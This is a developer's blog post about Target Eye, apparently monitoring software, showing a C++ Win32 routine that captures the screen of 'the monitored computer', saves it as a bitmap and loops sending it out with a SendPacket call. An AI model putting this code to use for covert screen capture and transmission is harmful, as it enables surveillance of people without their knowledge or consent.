When I started developing Target Eye, I made several experiments in the procedure which capture the screen at the monitored computer. Here are several of the first results.
The first screen capture routine was really simple:
void CSecretAgentApp::SimpleCapture() { // This function only works for 24-bit (truecolor) display mode // prepare DCs, bitmaps,.. HDC hScreenDC = GetWindowDC(0); if (hScreenDC==NULL) { MessageBox(NULL,"Error 1","",MB_OK); exit(0); } HDC hmemDC = CreateCompatibleDC(hScreenDC); if (hmemDC==NULL) { MessageBox(NULL,"Error 2","",MB_OK); ReleaseDC(0, hScreenDC); exit(0); } int ScreenWidth = GetDeviceCaps(hScreenDC, HORZRES); int ScreenHeight = GetDeviceCaps(hScreenDC, VERTRES); HBITMAP hmemBM = CreateCompatibleBitmap(hScreenDC, ScreenWidth, ScreenHeight); if (hmemBM==NULL) { MessageBox(NULL,"Error 3. Can't create Bitmap","",MB_OK); DeleteDC(hmemDC); ReleaseDC(0, hScreenDC); exit(0); } SelectObject(hmemDC, hmemBM); // copy screen to memory DC if(!(BitBlt(hmemDC, 0, 0, ScreenWidth, ScreenHeight, hScreenDC, 0, 0, SRCCOPY))) { DeleteObject(hmemBM); DeleteDC(hmemDC); ReleaseDC(0, hScreenDC); MessageBox(NULL,"Error 4","",MB_OK); exit(0); } // allocate and lock memory for the bitmap data HGLOBAL hpxldata = GlobalAlloc(GMEM_FIXED, ScreenWidth * ScreenHeight * 3); if (hpxldata == NULL) { GlobalFree(hpxldata); DeleteObject(hmemBM); DeleteDC(hmemDC); ReleaseDC(0, hScreenDC); MessageBox(NULL,"Error 5 Can't allocate memory","",MB_OK); exit(0); } void FAR* lpvpxldata = GlobalLock(hpxldata); // fill .bmp - structures if (lpvpxldata == NULL) { GlobalUnlock(hpxldata); GlobalFree(hpxldata); DeleteObject(hmemBM); DeleteDC(hmemDC); ReleaseDC(0, hScreenDC); MessageBox(NULL,"Error 6","",MB_OK); exit(0); } BITMAPINFO bmInfo; bmInfo.bmiHeader.biSize = 40; bmInfo.bmiHeader.biWidth = ScreenWidth; bmInfo.bmiHeader.biHeight = ScreenHeight; bmInfo.bmiHeader.biPlanes = 1; bmInfo.bmiHeader.biBitCount = 24; bmInfo.bmiHeader.biCompression = 0; bmInfo.bmiHeader.biSizeImage = 0; bmInfo.bmiHeader.biXPelsPerMeter = 0; bmInfo.bmiHeader.biYPelsPerMeter = 0; bmInfo.bmiHeader.biClrUsed = 0; bmInfo.bmiHeader.biClrImportant = 0; BITMAPFILEHEADER bmFileHeader; bmFileHeader.bfType = 19778; bmFileHeader.bfSize = (ScreenWidth * ScreenHeight * 3) + 40 + 14; bmFileHeader.bfReserved1 = 0; bmFileHeader.bfReserved2 = 0; bmFileHeader.bfOffBits = 54; // copy bitmap data into global memory GetDIBits(hmemDC, hmemBM, 0, ScreenHeight, lpvpxldata, &bmInfo, DIB_RGB_COLORS); // open file and write data static CFile bmfile; if(!(bmfile.Open("TEA",CFile::modeCreate | CFile::modeWrite))) { GlobalUnlock(hpxldata); GlobalFree(hpxldata); DeleteObject(hmemBM); DeleteDC(hmemDC); ReleaseDC(0, hScreenDC); ASSERT("Can't open bitmap file\n"); return; } bmfile.Write(&bmFileHeader, 14); bmfile.Write(&bmInfo, 40); bmfile.Write(lpvpxldata, ScreenWidth * ScreenHeight * 3); // clean up bmfile.Close(); GlobalUnlock(hpxldata); GlobalFree(hpxldata); DeleteObject(hmemBM); DeleteDC(hmemDC); ReleaseDC(0, hScreenDC); //Shrink("c:\\temp.bit","c:\\temp.bmp"); strcpy(m_TempPictName,"TEA"); DeleteFile(m_PacketFileName); if (!FileExists(m_PacketFileName)) SendPacket(); while (m_BytesSent!=0) { if (!FileExists(m_PacketFileName)) SendPacket(); } }
©2000-2013 Michael Haephrati and Target Eye LTDAll materials contained on this site are protected by International copyright law and may not be used, reproduced, distributed, transmitted, displayed, published or broadcast without the prior written permission given by Michael Haephrati and Target Eye LTD. You may not alter or remove any trademark, copyright or other notice from copies of the content.
No comments:
Post a Comment